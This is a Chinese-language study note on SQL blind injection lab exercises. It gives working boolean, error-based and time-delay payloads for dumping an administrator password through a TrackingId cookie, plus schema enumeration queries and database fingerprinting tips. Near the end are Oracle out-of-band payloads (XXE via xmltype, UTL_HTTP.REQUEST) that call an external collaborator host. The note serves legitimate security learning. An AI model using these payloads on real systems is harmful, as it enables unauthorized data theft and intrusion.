SQL注入-盲注
场景:布尔盲注
具体原理前面的笔记写过此处略。
1、真假条件试探是否存在布尔盲注
payload:
1 | TrackingId=enM2J0zPN7COMcsA' AND '1'='1' -- - |
2、猜测密码长度
1 | TrackingId=enM2J0zPN7COMcsA' AND (SELECT LENGTH(password) FROM users WHERE username='administrator')=1 -- - |
不断根据and后面半句的逻辑猜测密码长度,修改1的值
(子查询)=20
注意:子查询单独当作一个值使用的时候必须用圆括号包裹。但是有一个区分的点:SQL 里,AND 的优先级低于比较运算符=,但子查询语法强制要求括号,这不是优先级,是语法硬性规定。多个 and/or 混合条件,用来改变运算先后顺序,才是优先级括号。
3、猜测密码第一位
1 | Cookie: TrackingId=nW8xO1VhhsWJlPSz' and (select substring(password,1,1) from users where username='administrator')='a' -- -- |
substring【PostgreSQL / MySQL 通用】
substring(字段,起始位置,取几个字符)
不知道字典哪里操作不对,这道题没爆出来。
有空重新做。
场景:基于可见错误的SQL注入

题目给出了表名字段名。
但假如没给,需要有以下步骤:
查询所有表名,查询某个表的所有列名。但盲注的场景不能union回显。只能依靠报错、布尔、延时把information_schema的内容一点点拖出来,工作量很大。
1 | 1. **先手工确认漏洞存在**(单引号测试、确认报错 / 布尔差异、确认有没有长度截断、有没有 WAF) |
平时可用的常规表名、字段查询语句:
PostgreSQL(本题数据库)
查询所有表名:
1 | SELECT table_name FROM information_schema.tables |
查询某个表的所有列名:
1 | SELECT column_name FROM information_schema.columns WHERE table_name='users' |
MySQL
1 | SELECT table_name FROM information_schema.tables WHERE table_schema=database(); |
Oracle
1 | SELECT table_name FROM all_tables; |
尝试发现有截断,删除乱码之后再尝试就ok了。

此处使用的payload:
1 | TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int) -- |
1 | TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int) -- |
单引号闭合原有单引号字符串。and把新条件拼接到原来的where语句。
核心语法:
1 | 1=CAST((SELECT username FROM users LIMIT 1) AS int) |
1 | CAST(表达式 AS 目标类型) |
子查询返回字符串用户名administrator,强行把字符串转 int,数据库直接抛出异常,并且把这个字符串写在报错信息里泄露出来。1=这一部分:只是语法上凑一个比较表达式,让整个语句合法。数据库执行时不会走到判断 1 等于几,在 CAST 转换阶段就直接抛出错误。
外层有一对圆括号 ():在 CAST 里面,必须把子查询用括号包起来,叫标量子查询,要求只能返回单行单列一个值。
【当一个子查询被当做普通单个值来使用(放在等于、比较、函数参数、赋值等位置),它就变成标量子查询,必须1行1列。】
| 使用场景 | 子查询类型 | 约束 |
|---|---|---|
放在CAST()、=、>、<、算术运算中 → 被当作一个单独的值 |
标量子查询 | 必须单行单列 1 个值,多行会报错 |
放在IN()里面 |
集合子查询 | 允许多行 |
放在FROM后面当临时表(派生表) |
表子查询 | 允许多行 |
LIMIT 1:限制只返回第一行。
答疑:
实际过程中怎么确定截断的存在?
同一个 payload,保留原始长值就异常;删掉原始值就正常 → 后端发生字符串截断;Burp 发出的 http 包看不出,只能靠返回行为反推。
SELECT password FROM users LIMIT 1这里username和password这些字段名怎么确定?
真实环境要查询information_schema元数据表;盲注场景需要逐位爆破拖出表名字段名。
一开始是怎么判断数据库类型?
方式 1:看原生报错信息
PostgreSQL 报错样式:
1 | ERROR: invalid input syntax for type integer: "administrator" |
关键词 ERROR:,格式、报错文本风格是 PostgreSQL 独有。
MySQL 报错:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'xxx' |
Oracle 报错:
1 | ORA‑01756: quoted string not properly terminated |
只要能拿到数据库原生错误页面,一眼区分。
方式 2:使用各个数据库独有的函数做探测(无回显也能用,布尔 / 延时盲注)
| 数据库 | 特征探测 payload |
|---|---|
| PostgreSQL | pg_sleep(5) 延时函数;version()获取版本;CAST(...AS int)语法 |
| MySQL | sleep(5);version();concat() |
| Oracle | utl_inaddr.get_host_name();SELECT xxx FROM dual(必须有 dual 虚表) |
方式 3:注释语法小区别
- PostgreSQL / MySQL:
--(横杠横杠 + 空格)、#(mysql 支持 #注释,pg 不支持 #) - Oracle:
--,不支持#
本题:看到
pg_sleep、看到这种invalid input syntax for type integer报错 → 判断是 PostgreSQL。
场景:时间延迟sql盲注
原理之前写过此处略。

这里用到的payload:
1 | Cookie: TrackingId=abc'||pg_sleep(10)-- -; session=dPFJ6pwZqZNkcxZaaz7FGVtqvAYEmfE9 |
闭合引号,||拼接字符串,休眠10秒,注释。
PostgreSQL 的字符串拼接符,等价于 MySQL 的concat()
Oracle:dbms_lock.sleep很多环境没开,Oracle 时间盲注实战常用SELECT count(*) FROM all_objects大查询来制造延时,而不是 sleep 函数;
MySQL:sleep()可以直接 and,不需要拼接符||,MySQL 没有||字符串拼接(MySQL 里||默认是逻辑或)
| 数据库 | 休眠函数 | Payload 示例(Cookie 注入) | 备注 |
|---|---|---|---|
| PostgreSQL | pg_sleep(N) |
`abc’ | |
| MySQL | sleep(N) |
abc' AND sleep(10)# |
#是 mysql 注释;-- 也支持 |
| Oracle | dbms_lock.sleep(N) |
abc' AND 1=dbms_lock.sleep(10)-- - |
Oracle 需注意虚拟表限制 |
Cookie: TrackingId=x ‘;SELECT CASE WHEN (username=’administrator’ AND SUBSTRING(password,1,1)=’a’) THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users – -; session=mmj01ONjC6oqpyAslRZNVIKBu7mVAFuG
1 | Cookie: TrackingId='||(SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[<!ENTITY+%25+remote+SYSTEM+"http://zvy9v01ws8u90dk1na8k79cntez5nvbk.oastify.com/">%25remote;]>'),'/l')+FROM+dual)--; session=YjQ2VGTgGFjC9sW4luaJxh7XgVdRKMWl |
1 | Cookie: TrackingId='||UTL_HTTP.REQUEST('http://zvy9v01ws8u90dk1na8k79cntez5nvbk.oastify.com')--; session=YjQ2VGTgGFjC9sW4luaJxh7XgVdRKMWl |
疑问:
为什么会是cookie这里?黑盒情况怎么确认注入点?sqlmap?
有没有自动测试的手法?
纳瓦尔宝典,什么时候暂停思考才是必要的?什么时候是逃避?